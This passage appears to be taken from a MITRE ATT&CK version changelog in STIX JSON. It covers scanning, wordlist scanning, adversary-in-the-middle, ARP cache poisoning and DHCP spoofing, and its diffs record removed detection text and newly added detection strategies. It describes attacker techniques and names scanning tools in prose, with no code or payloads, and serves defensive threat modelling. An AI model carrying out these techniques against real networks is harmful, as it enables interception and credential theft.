"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.018000+00:00\", \"old_value\": \"2025-04-15 21:44:26.959000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0830: Detection of Active Scanning"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:54:23.193000+00:00",
"modified": "2025-10-24 17:49:28.603000+00:00",
"name": "Scanning IP Blocks",
"description": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1595/001",
"external_id": "T1595.001"
},
{
"source_name": "Botnet Scan",
"description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020.",
"url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Diego Sappa, Securonix"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.603000+00:00\", \"old_value\": \"2025-04-15 23:02:44.660000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0817: Detection of Scanning IP Blocks"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:55:16.047000+00:00",
"modified": "2025-10-24 17:48:48.647000+00:00",
"name": "Vulnerability Scanning",
"description": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1595/002",
"external_id": "T1595.002"
},
{
"source_name": "OWASP Vuln Scanning",
"description": "OWASP. (n.d.). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.",
"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.647000+00:00\", \"old_value\": \"2025-04-15 23:19:33.981000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0867: Detection of Vulnerability Scanning"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2022-03-04 18:56:38.844000+00:00",
"modified": "2025-10-24 17:49:18.777000+00:00",
"name": "Wordlist Scanning",
"description": "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website\u2019s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)). \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1595/003",
"external_id": "T1595.003"
},
{
"source_name": "ClearSky Lebanese Cedar Jan 2021",
"description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021.",
"url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf"
},
{
"source_name": "GCPBucketBrute",
"description": "Spencer Gietzen. (2019, February 26). Google Cloud Platform (GCP) Bucket Enumeration and Privilege Escalation. Retrieved March 4, 2022.",
"url": "https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/"
},
{
"source_name": "S3Recon GitHub",
"description": "Travis Clarke. (2020, March 21). S3Recon GitHub. Retrieved March 4, 2022.",
"url": "https://github.com/clarketm/s3recon"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jan Petrov, Citi",
"Elvis Veliz, Citi",
"Richard Julian, Citi"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.777000+00:00\", \"old_value\": \"2025-04-15 23:22:19.165000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Monitor for access to S3 buckets, especially those that are not intended to be publicly accessible. \\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Monitor for access to S3 buckets, especially those that are not intended to be publicly accessible. \\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1042: Disable or Remove Feature or Program",
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0868: Detection of Wordlist Scanning"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 19:07:12.114000+00:00",
"modified": "2025-10-24 17:48:20.163000+00:00",
"name": "Adversary-in-the-Middle",
"description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1557",
"external_id": "T1557"
},
{
"source_name": "dns_changer_trojans",
"description": "Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021.",
"url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats"
},
{
"source_name": "volexity_0day_sophos_FW",
"description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
"url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
},
{
"source_name": "taxonomy_downgrade_att_tls",
"description": "Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021.",
"url": "https://arxiv.org/abs/1809.05681"
},
{
"source_name": "ad_blocker_with_miner",
"description": "Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.",
"url": "https://securelist.com/ad-blocker-with-miner-included/101105/"
},
{
"source_name": "Token tactics",
"description": "Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.",
"url": "https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/"
},
{
"source_name": "mitm_tls_downgrade_att",
"description": "praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021.",
"url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
},
{
"source_name": "Rapid7 MiTM Basics",
"description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.",
"url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/"
},
{
"source_name": "tlseminar_downgrade_att",
"description": "Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021.",
"url": "https://tlseminar.github.io/downgrade-attacks/"
},
{
"source_name": "ttint_rat",
"description": "Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.",
"url": "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Mayuresh Dani, Qualys",
"Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project",
"NEC"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "2.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\", \"Windows Registry: Windows Registry Key Modification\", \"Network Traffic: Network Traffic Flow\", \"Service: Service Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.163000+00:00\", \"old_value\": \"2025-04-15 19:58:02.209000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.\"}}}",
"previous_version": "2.5",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1030: Network Segmentation",
"M1031: Network Intrusion Prevention",
"M1035: Limit Access to Resource Over Network",
"M1037: Filter Network Traffic",
"M1041: Encrypt Sensitive Information",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0019: Service (Service Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0296: Detect Adversary-in-the-Middle via Network and Configuration Anomalies"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-15 12:05:58.755000+00:00",
"modified": "2025-10-24 17:49:23.221000+00:00",
"name": "ARP Cache Poisoning",
"description": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1557/002",
"external_id": "T1557.002"
},
{
"source_name": "Cylance Cleaver",
"description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
"url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
},
{
"source_name": "RFC826 ARP",
"description": "Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020.",
"url": "https://tools.ietf.org/html/rfc826"
},
{
"source_name": "Sans ARP Spoofing Aug 2003",
"description": "Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020.",
"url": "https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jon Sternstein, Stern Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.221000+00:00\", \"old_value\": \"2025-04-15 21:43:10.406000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \\n\\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \\n-\\n-Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1031: Network Intrusion Prevention",
"M1035: Limit Access to Resource Over Network",
"M1037: Filter Network Traffic",
"M1041: Encrypt Sensitive Information",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0387: Detect ARP Cache Poisoning Across Linux, Windows, and macOS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2022-03-24 19:30:56.727000+00:00",
"modified": "2025-10-24 17:48:49.941000+00:00",
"name": "DHCP Spoofing",
"description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1557/003",
"external_id": "T1557.003"
},
{
"source_name": "rfc2131",
"description": "Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022.",
"url": "https://datatracker.ietf.org/doc/html/rfc2131"
},
{
"source_name": "new_rogue_DHCP_serv_malware",
"description": "Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022.",
"url": "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/"
},
{
"source_name": "rfc3315",
"description": "J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022.",
"url": "https://datatracker.ietf.org/doc/html/rfc3315"
},
{
"source_name": "dhcp_serv_op_events",
"description": "Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022.",
"url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)"
},
{
"source_name": "solution_monitor_dhcp_scopes",
"description": "Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.",
"url": "https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/"
},
{
"source_name": "w32.tidserv.g",
"description": "Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022.",
"url": "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2"
}
],
